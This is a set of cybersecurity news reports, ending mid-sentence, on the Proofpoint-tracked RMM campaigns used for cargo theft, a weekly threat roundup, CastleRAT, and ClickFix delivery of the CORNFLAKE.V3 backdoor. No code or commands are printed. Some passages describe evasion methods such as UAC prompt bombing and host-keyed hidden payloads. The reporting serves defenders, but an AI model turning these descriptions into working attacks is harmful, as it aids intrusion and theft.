Threat actors have been hacking into surface transportation companies to deploy remote access tools and hijack shipments to steal physical goods, Proofpoint reports. The attack chain starts with a compromised broker load board account – a marketplace used for booking loads for trucks – that is used to post a fake load. The hackers then wait for a carrier to inquire about the load and, when that happens, they respond with emails containing malicious URLs, which are set up to deliver remote monitoring and management (RMM) tools. Additionally, the threat actors have been observed leveraging compromised email accounts to inject malicious URLs and content into existing conversations, as well as launching direct email campaigns against carriers, freight brokerage entities, and integrated supply chain providers. As part of nearly two dozen campaigns observed over the past several months, the hackers have been deploying RMM tools such as Fleetdeck, LogMeIn Resolve, N-able, PDQ Connect, ScreenConnect, and SimpleHelp, sometimes using them in tandem. “Once initial access is established, the threat actor conducts system and network reconnaissance and deploys credential harvesting tools such as WebBrowserPassView. This activity indicates a broader effort to compromise accounts and deepen access within targeted environments,” Proofpoint notes. Using the deployed RMM tools, the threat actors take control of the carrier’s system, booking loads in the victim’s name, and coordinating transportation. By manipulating the victim’s scheduling and dispatch systems, the attackers divert valuable shipments to their own operatives. The purpose of the attacks is cargo hijacking for financial gain. Cargo theft causes over $30 billion in losses each year and is mainly conducted by organized criminal groups, with Brazil, Chile, Germany, India, Mexico, South Africa, and the US being the hotspots for such activities. “Proofpoint assesses with high confidence that the threat actors are working with organized crime groups. The stolen cargo most likely is sold online or shipped overseas. Such crimes can create massive disruptions to supply chains and cost companies millions, with criminals stealing everything from energy drinks to electronics,” Proofpoint notes. While the attacks were initially observed in June, the associated infrastructure has been online since at least January 2025, and the attackers appear to have deep knowledge of the software, services, and policies within the cargo supply chain. A separate but likely related cluster of activity, observed between 2024 and March 2025, has targeted ground transportation organizations with information stealers such as DanaBot, Lumma Stealer, NetSupport, and StealC. “Regardless of the ultimate payload, stealers and RMMs serve the same purpose: remotely access the target to steal information. However, using RMM tools can enable threat actors to fly further under the radar,” Proofpoint says. As part of the recent attacks, the hackers have targeted companies of all sizes, taking an opportunistic approach to compromise any carrier that responds to their fake posts. Related: Major US Telecom Backbone Firm Hacked by Nation-State Actors Related: Canada Says Hackers Tampered With ICS at Water Facility, Oil and Gas Firm Related: GAO Tells Coast Guard to Improve Cybersecurity of Maritime Transportation System Related: CISA Releases Cyber Defense Plan to Reduce RMM Software Risks

Threat actors are targeting freight brokers and trucking carriers with malicious links and emails to deploy remote monitoring and management tools (RMMs) that enable them to hijack cargo and steal physical goods. Researchers tracked the activity to June, but they found evidence of these types of campaigns delivering NetSupport and ScreenConnect since January. According to email security firm Proofpoint, these attacks is becoming more popular, with nearly two dozen campaigns recorded since August, each of them sending up to a thousand messages. The targets are primarily North American entities; however, Proofpoint has also observed similar activity in Brazil, Mexico, India, Germany, Chile, and South Africa. Digitized cargo theft Cargo theft involves stealing commercial shipments by hijacking trucks or trailers in transit, by re-routing them, or by impersonating legitimate carriers. The goods are then redirected to fraudulent pickup points. The National Insurance Crime Bureau (NICB) estimates cargo theft losses in the U.S. to $35 billion annually. Today, cybercriminals focus on exploiting gaps in the digital segment of the supply chain that helps companies move goods more efficiently. The attacker’ primary goal is to install RMMs like ScreenConnect, SimpleHelp, PDQ Connect, Fleetdeck, N-able, and LogMeIn Resolve on the target companies’ systems, which give them full remote control, reconnaissance, and credential harvesting capabilities. To achieve this goal, they use compromised accounts for load boards to post fraudulent freight listings, or breach broker and dispatcher email accounts, and then hijack email threads to lead victims to a malicious URL. According to the researchers, the threat actor achieves their goal by sending emails directly to asset-based carriers, freight brokerage firms, and integrated supply-chain providers, but this occurred mostly for larger entities. At this stage, social engineering plays a key role, where the attackers tailor their messages for urgent load negotiations and exploit trust in load packets, showing knowledge of how the freight industry operates. The external pages are well crafted and appear legitimate by placing convincing carrier branding, and lead to downloading executables or installer MSI files that install an RMM tool. By means of these tools, which are legitimate software, the attacker can control the compromised machine and can modify bookings, block dispatcher notifications, add their own devices to dispatcher phone extensions, and book loads under the compromised carrier’s identity. “These RMMs are often used in tandem; for example, PDQ Connect has been observed downloading and installing both ScreenConnect and SimpleHelp,” Proofpoint explains. “Once initial access is established, the threat actor conducts system and network reconnaissance and deploys credential harvesting tools such as WebBrowserPassView,” the researchers say. Reconnaissance and credential harvesting indicate a wider attack purpose that includes pivoting deeper in the compromised environments. Proofpoint notes that the attacks suggest insider knowledge of the routes, timing, and high-value cargo types, enabling cybercriminals to select the most profitable shipments to steal. The researchers believe that the hackers "are working with organized crime groups to compromise entities in the surface transportation industry" and hijack cargo freight. One carrier company targeted in such attacks explains that the hackers tricked their dispatcher into installing an RMM tool and took control of their account. The attacker "deleted every booking email and blocked notifications" and added their device to the dispatcher's phone extension. This allowed them to impersonate the victim company and talk directly to brokers. "When booking loads, he used our official MC email + phone (listed on FMCSA)," a representative of the victim carrier says, adding that "Brokers, Highway, MyCarrierPackets would call our number and email — the hacker answered, verified everything, and got the loads." Stolen cargo, which includes commodities such as food, beverages, and electronics, is physically intercepted or rerouted and later sold online or shipped overseas. While Proofpoint has observed RMM tools being used in the attacks, the company notes that information stealers such as NetSupport, DanaBot, Lumma Stealer, and StealC were also deployed in related activities, although attribution to specific clusters was not possible. Recommended defenses include restricting the installation of unapproved RMM tools, monitoring network activity, and blocking .EXE and .MSI file attachments at the email gateway level. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Cybercriminals are helping traditional organized crime groups steal physical goods via cargo freight hijacking. Researchers at cybersecurity firm Proofpoint recently identified active malicious campaigns involving hackers targeting the transportation industry, especially trucking and logistics companies, in North America. Their infection technique of choice included leveraging remote monitoring management (RMM) tools and remote access software (RAS) to gain access to their victims’ systems. Attack Chain: Social Engineering, RMM and Credential Harvesting In a November 3 report, Proofpoint revealed that the threat cluster engaged in suspected cargo theft has been active since at least June 2025, with further evidence suggesting the group’s campaigns began as early as January 2025. The typical attack chain starts with three social engineering tricks to get into the systems of infected targets. These include: Compromising load boards: the attacker posts fraudulent freight listings using compromised accounts on load boards and then sends emails containing malicious URLs to carriers who inquire about the loads Email thread hijacking: using compromised email accounts, the threat actors inject malicious content and URLs into existing conversations Direct targeting via email campaigns: the attacker launches direct email campaigns against larger entities, including asset-based carriers, freight brokerage firms and integrated supply chain providers. Gaining access to these entities may allow the actors to identify high-value freight loads or uncover other opportunities to further their objectives, such as posting fraudulent loads on load boards The malicious emails contain URLs that lead to an executable (.exe) or an MSI (.msi) file, which, when clicked, installs an RMM tool, granting the threat actor full control of the compromised machine. “In some cases, the threat actor will create domains and landing pages that impersonate legitimate brands or generic transportation terms to further the believability of the social engineering,” the Proofpoint researchers noted. The RMM and RAS tools deployed on the targeted systems include ScreenConnect, SimpleHelp, PDQ Connect, Fleetdeck, N-able and LogMeIn Resolve – sometimes used in tandem. Once initial access is established, the attacker conducts system and network reconnaissance and deploys credential harvesting tools, such as WebBrowserPassView. “This activity indicates a broader effort to compromise accounts and deepen access within targeted environments,” the researchers wrote. Overlaps with Previous Campaigns The researchers identified related network infrastructure and similar tactics, techniques and procedures (TTPs) in campaigns delivering NetSupport and ScreenConnect going back to January 2025, “suggesting a longer operational timeline,” the Proofpoint report read. These campaigns also showed some overlaps with malicious activity recorded between 2024 and March 2025, when a threat actor distributed a range of infostealers, including DanaBot, NetSupport, Lumma Stealer and StealC in the systems of ground transportation organizations. However, the Proofpoint researchers could not confirm with high confidence whether these clusters of activity are related. “All appear to have knowledge about the software, services and policies around how the cargo supply chain operates,” the researchers wrote. The report also highlighted that, if these clusters of activity come from the same group, the use of RMM tools instead of infostealers in the latest campaigns could suggest a sophistication in the techniques employed. “Stealers and RMMs serve the same purpose: remotely access the target to steal information. However, using RMM tools can enable threat actors to fly further under the radar. Threat actors can create and distribute attacker-owned remote monitoring tools and because they are often used as legitimate pieces of software, end users might be less suspicious of installing RMMs than other remote access trojans,” the Proofpoint researchers wrote. “Additionally, such tooling may evade anti-virus or network detections because the installers are often signed, legitimate payloads distributed maliciously.” Cyber-Enabled Cargo Theft, A Global Issue Proofpoint has observed nearly two dozen campaigns targeting North American freight companies in September and October 2025, with volumes ranging from less than 10 to over 1000 messages per campaign. The researchers also assessed “with high confidence” that this threat group collaborates with organized crime groups, who likely use their access to bid on cargo shipments and then steal and sell them. In the report, Proofpoint also noted that while the latest observed campaigns targeted North American companies, cyber-enabled cargo thefts are rising across the world, including in freight hotspots like Brazil, Chile, Germany, India, Mexico, South Africa and the US. According to the National Insurance Crime Bureau, cargo theft leads to $34bn in losses annually. Cyber intrusion techniques contributes significantly to these losses, said a July 2025 report by IMC Logistics and The American Trucking Associations.

Bad actors are increasingly training their sights on trucking and logistics companies with an aim to infect them with remote monitoring and management (RMM) software for financial gain and ultimately steal cargo freight. The threat cluster, believed to be active since at least June 2025 according to Proofpoint, is said to be collaborating with organized crime groups to break into entities in the surface transportation industry with the end goal of plundering physical goods. The most targeted commodities of the cyber-enabled heists are food and beverage products. "The stolen cargo most likely is sold online or shipped overseas," researchers Ole Villadsen and Selena Larson said in a report shared with The Hacker News. "In the observed campaigns, threat actors aim to infiltrate companies and use their fraudulent access to bid on real shipments of goods to ultimately steal them." The campaigns share similarities with a previous set of attacks disclosed in September 2024 that involved targeting transportation and logistics companies in North America with information stealers and remote access trojans (RATs) such as Lumma Stealer, StealC, or NetSupport RAT. However, there is no evidence to suggest that they are the work of the same threat actor. In the current intrusion wave detected by Proofpoint, the unknown attackers have leveraged multiple methods, including compromised email accounts to hijack existing conversations, targeting asset-based carriers, freight brokerage firms, and integrated supply chain providers with spear-phishing emails, and posting fraudulent freight listings using hacked accounts on load boards. "The actor posts fraudulent freight listings using compromised accounts on load boards and then sends emails containing malicious URLs to carriers who inquire about the loads," it said. "This tactic exploits the trust and urgency inherent in freight negotiations." Needless to say, the malicious URLs embedded within the messages lead to booby-trapped MSI installers or executables that deploy legitimate RMM tools like ScreenConnect, SimpleHelp, PDQ Connect, Fleetdeck, N-able, and LogMeIn Resolve. In select instances, several of these programs are used together, with PDQ Connect being used to drop and install ScreenConnect and SimpleHelp. Once remote access is obtained, the attackers move to conduct system and network reconnaissance, followed by dropping credential harvesting tools such as WebBrowserPassView to capture additional credentials and burrow deeper into the corporate network. In at least one case, the threat actor is believed to have weaponized the access to delete existing bookings and block dispatcher notifications, and then added their own device to the dispatcher's phone extension, booked loads under the compromised carrier's name, and coordinated the transport. As many as two dozen campaigns targeting transportation entities to deliver RMMs have been detected since August 2025. These efforts are assessed to be both indiscriminate and opportunistic, targeting small, family-owned businesses to large transport firms to infiltrate their networks and leverage insider information from other breaches to identify and bid on loads that are likely to be profitable if stolen. The use of RMM software offers several advantages. First, it obviates the need for threat actors to devise bespoke malware. Second, it also allows them to fly under the radar, owing to the prevalence of such tools in enterprise environments and the fact that they are typically not flagged as malicious by security solutions. "It's fairly easy for threat actors to create and distribute attacker-owned remote monitoring tools, and because they are often used as legitimate pieces of software, end users might be less suspicious of installing RMMs than other remote access trojans," Proofpoint noted back in March 2025. "Additionally, such tooling may evade anti-virus or network detection because the installers are often signed, legitimate payloads distributed maliciously."

The comfort zone in cybersecurity is gone. Attackers are scaling down, focusing tighter, and squeezing more value from fewer, high-impact targets. At the same time, defenders face growing blind spots — from spoofed messages to large-scale social engineering. This week’s findings show how that shrinking margin of safety is redrawing the threat landscape. Here’s what’s making headlines. Hijack Loader expands its reach in Latin AmericaPhishing emails containing SVG file attachments targeting Colombian, Spanish-speaking individuals with themes relating to the Attorney General's office of Colombia have been used to deliver PureHVNC RAT. "The emails entice the user to download an 'official document' from the judicial information system, which starts the infection chain of executing a Hijack Loader executable that leads to the PureHVNC Remote Access Trojan (RAT)," IBM X-Force said. The activity was observed between August and October 2025. The findings are notable because this is the first time Hijack Loader has been used in campaigns targeting the region, in addition to using the loader to distribute PureHVNC. Insider sells U.S. cyber weapons to Russia for cryptoPeter Williams, 39, an Australian national, pleaded guilty in the U.S. in connection with selling his employer's trade secrets to a Russian cyber-tools broker. Williams pleaded to two counts of theft of trade secrets stolen from U.S. defense contractor L3Harris Trenchant between 2022 and 2025. This included national-security-focused software that included at least eight sensitive and protected cyber-exploit components that were meant to be sold exclusively to the U.S. government and select allies. "Williams sold the trade secrets to a Russian cyber-tools broker that publicly advertises itself as a reseller of cyber exploits to various customers, including the Russian government," the U.S. Department of Justice said. The defendant received payment in cryptocurrency from the sale of software exploits and used the illicit proceeds to buy luxury watches and other items. Charges against Williams came to light last week. While the name of the exploit broker was not disclosed, evidence points to Operation Zero, which has previously offered up to $4 million for Telegram exploits and $20 million for tools that could be used to break into Android and iPhone devices. Operation Zero advertises itself as the "only Russian-based zero-day vulnerability purchase platform." Earlier this August, another United Arab Emirates-based startup named Advanced Security Solutions also announced rewards of up to $20 million for hacking tools that could help governments break into any smartphone with a text message. Spoofed calls drive global fraud epidemicEuropol has highlighted the urgent need for a coordinated, multi-faceted approach to mitigate cross-border caller ID spoofing. "Caller ID spoofing drives financial fraud and enables social engineering scams, resulting in substantial economic and societal damage, with an estimated EUR 850 million lost worldwide annually," the agency said. "The primary attack vectors are phone calls and texts, which allow malicious actors to manipulate the information displayed on a user's caller ID, to show a false name or number that appears legitimate and trustworthy." The technique, which accounts for roughly 64% of reported fraud cases involving phone calls and text messages, underpins a wide range of online fraud schemes and social engineering scams, costing an estimated €850 million ($990 million) worldwide each year. Chrome takes final step toward full HTTPS webTo improve the security of users, Google said it will change Chrome's default settings to navigate only to websites that support HTTPS. "We will enable the 'Always Use Secure Connections' setting in its public-sites variant by default in October 2026, with the release of Chrome 154," the tech giant said. "Prior to enabling it by default for all users, in Chrome 147, releasing in April 2026, we will enable Always Use Secure Connections in its public-sites variant for the over 1 billion users who have opted-in to Enhanced Safe Browsing protections in Chrome." The "Always Use Secure Connections" setting was introduced in Chrome in 2022, as an opt-in feature, and was turned on by default in Chrome 141 for a small percentage of users. U.S. energy grid faces massive internet exposureA cybersecurity assessment of 21 U.S. energy providers has identified 39,986 hosts with a total of 58,862 services exposed to the internet, according to SixMap. Roughly 7% of all exposed services are running on non-standard ports, creating blind spots as traditional exposure management and attack surface management products typically inspect only the top 1,000 to top 5,000 ports. The research also found that, on average, each organization had 9% of its hosts in the IPv6 space, another area of potential risk, as these assets are not tracked by traditional exposure management tools. "A total of 2,253 IP addresses were in the IPv6 space. That means, in aggregate, about 6% of IP addresses were running on IPv6 across all 21 enterprises," SixMap said. What's more, a total of 5,756 vulnerable services with CVEs were identified across all exposures. "Of the 5,756 CVEs that SixMap identified, 377 have been exploited in the wild," it added. "Among those 377 CVEs known to be exploited, 21 are in vulnerable services running on non-standard ports, which indicates a very serious level of risk." Free decryption tool breaks Midnight ransomwareNorton has released a free decryptor to allow victims of the Midnight ransomware to recover their files for free. Midnight ransomware typically appends the .Midnight or .endpoint extension to encrypted files. The ransomware is assessed to be based on an older version of the Babuk ransomware. Gen Digital said "novel cryptographic modifications" made to the Babuk codebase introduced weaknesses that made decryption possible. Cloud Atlas revives old exploits to hit Russian farmsThe threat actor known as Cloud Atlas has been observed targeting Russia's agricultural sector using lures tied to an upcoming industry forum. The phishing campaign, detected this month, involves sending emails containing booby-trapped Microsoft Word documents that, when opened, trigger an exploit for CVE-2017-11882 in order to deliver a dropper that's responsible for launching the VBShower backdoor. It's worth noting that the hacking group weaponized the same flaw way back in 2023. Cloud Atlas is assessed to be a highly adaptable threat actor active since at least 2014, while also increasing its operational tempo in 2025, particularly against targets in Russia and Belarus. Earlier this January, Positive Technologies detailed Cloud Atlas' use of cloud services like Google Sheets as command-and-control (C2) for VBShower and another PowerShell-based backdoor named PowerShower. In recent months, Russian organizations have also been targeted by GOFFEE (aka Paper Werewolf) and PhantomCore, with the latter also dropping a new Go backdoor dubbed PhantomGoShell via phishing emails that shares some similarities with PhantomRAT and PhantomRShell. Some of the other tools in the threat actor's arsenal are PhantomTaskShell (a PowerShell backdoor), PhantomStealer (a Go-based stealer), and PhantomProxyLite (a tool that sets up an SSH tunnel between the host and the C2 server). The group is said to have managed to take control of 181 systems in the country during the course of the campaign between mid-May and late July 2025. Positive Technologies assessed that PhantomGoShell is the work of Russian-speaking members of gaming Discord communities who may have "received the backdoor source code and guidance from a member with a more established cybercriminal background" and that the group is a low-skilled offshoot of PhantomCore. Critical BIND9 flaw leaves thousands of DNS servers exposedAs many as 5,912 instances have been found vulnerable to CVE-2025-40778 (CVSS score: 8.6), a newly disclosed flaw in the BIND 9 resolver. "An off-path attacker could inject forged address data into the resolver cache by racing or spoofing responses," Censys said. "This cache poisoning enables the redirection of downstream clients to attacker-controlled infrastructure without triggering fresh lookups." A proof-of-concept (PoC) exploit for the vulnerability has been publicly made available. It's advised to update to BIND 9 versions 9.18.41, 9.20.15, and 9.21.14, restrict recursion to trusted clients, enable DNSSEC validation, and monitor caches. Rust malware hides dual personalities in plain sightResearchers from Synacktiv have demonstrated that it's possible to create a "Two-Face" Rust binary on Linux, which "runs a harmless program most of the time, but will run a different, hidden code if deployed on a specific target host." At a high level, the schizophrenic binary follows a four-step process: (1) Extract disk partition UUIDs from the host, that uniquely identifies the target, (2) Derive a key embedded in the binary with the previous host data using HKDF, producing a new key, (3) Decrypt the "hidden" encrypted embedded binary data, from the derived key, and (4) If decryption succeeds, run the decrypted "hidden" program, else run the "normal" program. Attackers cloak phishing emails with invisible textThreat actors are leveraging an unusual technique that exploits invisible characters embedded within email subject lines to evade automated security filters. This attack method utilizes MIME encoding combined with Unicode soft hyphens to disguise malicious intent while appearing benign to human readers. The technique represents another evolution in phishing attacks, with bad actors finding novel ways to sidestep email filtering mechanisms that rely on keyword detection and pattern matching. CERT/CC flags loophole enabling spoofed trusted emailsThe CERT Coordination Center (CERT/CC) has disclosed that email message header syntax can be exploited to bypass authentication protocols such as SPF, DKIM, and DMARC, allowing attackers to deliver spoofed emails that appear to originate from trusted sources. Specifically, this involves abusing From: and Sender: fields to impersonate an email address for malicious purposes. "Using specialized syntax, an attacker can insert multiple addresses in the mail header From: field," CERT/CC said. "Many email clients will parse the From: field to only display the last email address, so a recipient will not know that the email is supposedly from multiple addresses. In this way, an attacker can pretend to be someone familiar to the user." To mitigate the threat, email service providers are urged to implement measures to ensure that authenticated outgoing email headers are properly verified before signing or relaying messages. Myanmar blows up major cyber scam strongholdAuthorities from Myanmar said they have demolished parts of KK Park by explosions, weeks after the country's army raided in mid-October 2025 what has been described as a major hub for cybercrime operations. Thailand said it has set up temporary shelters for those who have fled Myanmar. Group-IB, which has observed a surge in investment scams conducted through online platforms in Vietnam, said threat actors are making use of fake companies, mule accounts, and even stolen identity documents purchased from underground markets to receive and move victim funds, allowing them to bypass weak Know Your Customer (KYC) or Know Your Business (KYB) controls. The scam operations often comprise different teams with clearly defined roles and responsibilities: (1) Target intelligence, who identify and profile potential victims, (2) Promoters, who create convincing personas on social media and entice victims into making investments on bogus platforms, in some cases using a chat generator tool to create fabricated conversations, (3) Backend operators, who are in charge of maintaining the infrastructure, and (4) Payment handlers, who launder the proceeds of the crime. "There is a growing trend in investment scams to use chatbots to screen targets and guide deposits or withdrawals," the cybersecurity company said. "Scam platforms often include chat simulators to stage fake conversations and admin panels for backend control, providing insight into how operators manage victims and infrastructure." Privacy watchdog targets Clearview AI over ignored finesAustrian privacy group noyb has filed a criminal complaint against facial recognition company Clearview AI and its management, accusing the controversial facial recognition company of ignoring GDPR fines in France, Greece, Italy, and the Netherlands, and continuing to operate despite facing bans. In 2022, Austria found that Clearview AI’s practices violated GDPR, but neither fined the company nor directed the firm to no longer process the data. Clearview has faced scrutiny for scraping billions of photos of E.U. citizens without their permission and using the data for a facial recognition product sold to law enforcement agencies. "Clearview AI amassed a global database of photos and biometric data, which makes it possible to identify people within seconds," nob's Max Schrems said. "Such power is extremely concerning and undermines the idea of a free society, where surveillance is the exception instead of the rule." Cheap, modular Atroposia RAT floods cybercrime marketA new stealthy RAT called Atroposia has been advertised in the wild with hidden remote desktop takeover; clipboard, credential, and cryptocurrency wallet theft; DNS hijacking; and local vulnerability scanning capabilities, the latest addition to an already long list of "plug-and-play" criminal toolkits available for low-skilled threat actors. The modular malware is priced at roughly $200 per month, $500 every three months, or $900 for six months. "Its control panel and plugin builder make the tool surprisingly easy to operate, lowering the skill required to run complex attacks," Varonis said. "Atroposia's affordability and user-friendly interface make it accessible even to low- and no-skill attackers." The emergence of Atroposia continues the commodification of cybercrime, arming threat actors with an all-in-one tool to facilitate a wide spectrum of malicious actions against enterprise environments. NetSupport RAT spreads via deceptive ClickFix luresThreat actors are continuing to leverage ClickFix-style social engineering lures to distribute loaders for NetSupport RAT, ultimately leading to the deployment of the trojan. "NetSupport Manager is a legitimate RMM that continues to see usage by threat actors for unauthorized/full remote control of compromised machines and is primarily distributed via the ClickFix initial access vector," eSentire said. The development coincides with a spike in phishing campaigns distributing fileless versions of Remcos RAT. "Remcos is advertised as legitimate software that can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns," CyberProof said. "Once installed, Remcos opens a backdoor on the device/computer, granting full access to the remote user." LinkedIn to use member data for AI training next weekUsers of LinkedIn, take note. The Microsoft-owned professional social media network previously announced changes to its data use terms several weeks ago, noting that starting next week, it would start using data from "members in the E.U., E.E.A., Switzerland, Canada, and Hong Kong" to train artificial intelligence (AI) models. "On November 3, 2025, we'll start to use some data from members in these regions to train content-generating AI models that enhance your experience and better connect our members to opportunities," the company said. "This may include data like details from your profile, and public content you post on LinkedIn; it does not include your private messages." U.S. holds off on joining global cybercrime treatyWhile more than 70 countries formally signed a U.N. treaty on cybercrime to collaborate and tackle cybercrime, the U.S. has been a notable exception. According to The Record, the State Department said the U.S. continues to review the treaty but has yet to sign it. Ransom payouts crater; attackers sharpen aimThe average ransom payment during the third quarter of 2025 was $376,941, a 66% decline from Q2 2025. The media ransom payment stood at $140,000, which is a 65% drop from the previous quarter. Ransom payment rates across encryption, data exfiltration, and other extortion fell to a historical low of 23% in Q3 2025, down from a high of 85% in Q1 2019. This indicates that large enterprises are increasingly refusing to pay up, forcing "ransomware actors to be less opportunistic and more creative and targeted when choosing their victims," Coveware said, adding "shrinking profits are driving greater precision. Initial ingress costs for the actors will increase dramatically, which forces them to target large enterprises that can pay a large ransom." Akira, Qilin, Lynx, ShinyHunters, and KAWA4096 emerged as some of the most prevalent ransomware variants during the time period. Fake energy sites harvest credentialsMajor U.S. energy companies are being impersonated in phishing attacks, with threat actors setting up fake domains masquerading as Chevron, ConocoPhillips, PBF Energy, and Phillips 66. Hunt.io said it logged more than 1,465 phishing detections linked to this sector over the past 12 months. "Attackers relied on cheap cloning tools [like HTTrack] to stand up hundreds of lookalike sites, many of which stayed online for months without vendor detections," the company said. Supply-chain trojan hits Hong Kong financeThe threat actor tracked by QiAnXin under the moniker UTG-Q-010 has targeted Hong Kong's financial system and high-value investors on the mainland through supply chain attacks that are designed to "steal large sums of money or manipulate the market to reap huge profits." The supply chain attacks entail the distribution of trojanized installation packages via the official websites of Hong Kong-based financial institutions Jinrong China ("jrjr[.]hk") and Wanzhou Gold ("wzg[.]com") that lead to the deployment of AdaptixC2, a free and open-source C2 framework. Cyber threats are evolving faster than most defenses can adapt, and the line between criminal enterprise and nation-state tactics keeps blurring. Staying ahead now means staying aware — of every small shift in tools, tradecraft, and targeting. Until next ThreatsDay, stay sharp and stay curious.

The threat actor behind the malware-as-a-service (MaaS) framework and loader called CastleLoader has also developed a remote access trojan known as CastleRAT. "Available in both Python and C variants, CastleRAT's core functionality consists of collecting system information, downloading and executing additional payloads, and executing commands via CMD and PowerShell," Recorded Future Insikt Group said. The cybersecurity company is tracking the threat actor behind the malware families as TAG-150. Believed to be active since at least March 2025, CastleLoader et al are seen as initial access vectors for a wide range of secondary payloads, including remote access trojans, information stealers, and even other loaders. CastleLoader (aka CastleBot) was first documented by Swiss cybersecurity company PRODAFT in July 2025, as having been put to use in various campaigns distributing DeerStealer, RedLine, StealC, NetSupport RAT, SectopRAT, and Hijack Loader. A subsequent analysis from IBM X-Force last month found that the malware has also served as a conduit for MonsterV2 and WARMCOOKIE through SEO poisoning and GitHub repositories impersonating legitimate software. "Infections are most commonly initiated through Cloudflare-themed 'ClickFix' phishing attacks or fraudulent GitHub repositories masquerading as legitimate applications," Recorded Future said. "The operators employ the ClickFix technique by leveraging domains that imitate software development libraries, online meeting platforms, browser update alerts, and document verification systems." Evidence indicates that TAG-150 has been working on CastleRAT since March 2025, with the threat actor leveraging a multi-tiered infrastructure comprising Tier 1 victim-facing command-and-control (C2) servers, as well as Tier 2 and Tier 3 servers that are mostly virtual private servers (VPSes), and Tier 4 backup servers. CastleRAT, the newly discovered addition to TAG-150's arsenal, can download next-stage payloads, enable remote shell capabilities, and even delete itself. It also uses Steam Community profiles as dead drop resolvers to point to the actual C2 servers ("programsbookss[.]com"). Notably, CastleRAT comes in two versions, one written in C and the other, programmed in Python, with the latter also called PyNightshade. It's worth noting that eSentire is tracking the same malware under the name NightshadeC2. The C variant of CastleRAT incorporates more functionality, allowing it to log keystrokes, capture screenshots, upload/download files, and function as a cryptocurrency clipper to substitute wallet addresses copied to the clipboard with an attacker-controlled one with the aim of redirecting transactions. "As with the Python variant, the C variant queries the widely abused IP geolocation service ip-api[.]com to collect information based on the infected host’s public IP address," Recorded Future said. "However, the scope of data has been expanded to include the city, ZIP code, and indicators of whether the IP is associated with a VPN, proxy, or TOR node." That said, recent iterations of the C variant of CastleRAT have removed querying of the city and ZIP code from ip-api[.]com, indicating active development. It remains to be seen if its Python counterpart will attain feature parity. eSentire, in its own analysis of NightshadeC2, described it as a botnet that's deployed by means of a .NET loader, which, in turn, makes use of techniques like UAC Prompt Bombing to sidestep security protections. The Canadian cybersecurity company said it also identified variants equipped with features to extract passwords and cookies from Chromium- and Gecko-based web browsers. In a nutshell, the process involves running a PowerShell command in a loop that attempts to add an exclusion in Windows Defender for the final payload (i.e., NightshadeC2), after which the loader verifies the exit code of the PowerShell process to ascertain if it's 0 (meaning success). If the exclusion is successfully added, the loader proceeds to deliver the malware. If any other exit code other than 0 is returned, the loop keeps executing repeatedly, forcing the user to approve the User Account Control (UAC) prompt. "A particularly notable aspect of this approach is that systems with the WinDefend (Windows Defender) service disabled will generate non-zero exit codes, causing malware analysis sandboxes to become trapped in the execution loop," eSentire said, adding the method enables a bypass of multiple sandbox solutions. Given the absence of any dark web advertisements related to TAG-150, it's currently not clear how the services are distributed to other actors. But it's possible that they are being promoted within a trusted circle of affiliates. Needless to say, the emergence of CastleRAT is a sign that the operators may be looking to build an end-to-end toolset, allowing them to not only charge more for a subscription, but also fine-tune their operations at a faster pace. The development comes as Hunt.io detailed another malware loader codenamed TinyLoader that has been used to serve Redline Stealer and DCRat. Besides establishing persistence by modifying Windows Registry settings, the malware monitors the clipboard and instantly replaces copied crypto wallet addresses. Its C2 panels are hosted across Latvia, the U.K., and the Netherlands. "TinyLoader installs both Redline Stealer and cryptocurrency stealers to harvest credentials and hijack transactions," the company said. "It spreads through USB drives, network shares, and fake shortcuts that trick users into opening it." The findings also coincide with the discovery of two new malware families, a Windows-based keylogger called TinkyWinkey and a Python information stealer referred to as Inf0s3c Stealer, that can collect keyboard input and gather extensive system information, respectively. Further analysis of Inf0s3c Stealer has identified points of similarity with Blank Grabber and Umbral-Stealer, two other publicly available malware families, suggesting that the same author could be responsible for all three strains. "TinkyWinkey represents a highly capable and stealthy Windows-based keylogger that combines persistent service execution, low-level keyboard hooks, and comprehensive system profiling to gather sensitive information," CYFIRMA said. Inf0s3c Stealer "systematically collects system details, including host identifiers, CPU information, and network configuration, and captures screenshots. It enumerates running processes and generates hierarchical views of user directories, such as Desktop, Documents, Pictures, and Downloads."

Threat actors have been observed leveraging the deceptive social engineering tactic known as ClickFix to deploy a versatile backdoor codenamed CORNFLAKE.V3. Google-owned Mandiant described the activity, which it tracks as UNC5518, as part of an access-as-a-service scheme that employs fake CAPTCHA pages as lures to trick users into providing initial access to their systems, which is then monetized by other threat groups. "The initial infection vector, dubbed ClickFix, involves luring users on compromised websites to copy a malicious PowerShell script and execute it via the Windows Run dialog box," Google said in a report published today. The access provided by UNC5518 is assessed to be leveraged by at least two different hacking groups, UNC5774 and UNC4108, to initiate a multi-stage infection process and drop additional payloads - UNC5774, another financially motivated group that delivers CORNFLAKE as a way to deploy various subsequent payloads UNC4108, a threat actor with unknown motivation that uses PowerShell to deploy tools like VOLTMARKER and NetSupport RAT The attack chain likely begins with the victim landing a fake CAPTCHA verification page after interacting with search results that employ search engine optimization (SEO) poisoning or malicious ads. The user is then tricked into running a malicious PowerShell command by launching the Windows Run dialog, which then executes the next-stage dropper payload from a remote server. The newly downloaded script checks if it's running within a virtualized environment and ultimately launches CORNFLAKE.V3. Observed in both JavaScript and PHP versions, CORNFLAKE.V3 is a backdoor that supports the execution of payloads via HTTP, including executables, dynamic-link libraries (DLLs), JavaScript files, batch scripts, and PowerShell commands. It can also collect basic system information and transmit it to an external server. The traffic is proxied through Cloudflare tunnels in an attempt to avoid detection. "CORNFLAKE.V3 is an updated version of CORNFLAKE.V2, sharing a significant portion of its codebase," Mandiant researcher Marco Galli said. "Unlike V2, which functioned solely as a downloader, V3 features host persistence via a registry Run key, and supports additional payload types." Both generations are markedly different from their progenitor, a C-based downloader that uses TCP sockets for command-and-control (C2) communications and only has the ability to run DLL payloads. Persistence on the host is achieved by means of Windows Registry changes. At least three different payloads are delivered via CORNFLAKE.V3. This comprises an Active Directory reconnaissance utility, a script to harvest credentials via Kerberoasting, and another backdoor referred to as WINDYTWIST.SEA, a C version of WINDYTWIST that supports relaying TCP traffic, providing a reverse shell, executing commands, and removing itself. Select versions of WINDYTWIST.SEA have also been observed attempting to move laterally in the network of the infected machine. "To mitigate malware execution through ClickFix, organizations should disable the Windows Run dialog box where possible," Galli said. "Regular simulation exercises are crucial to counter this and other social engineering tactics. Furthermore, robust logging and monitoring 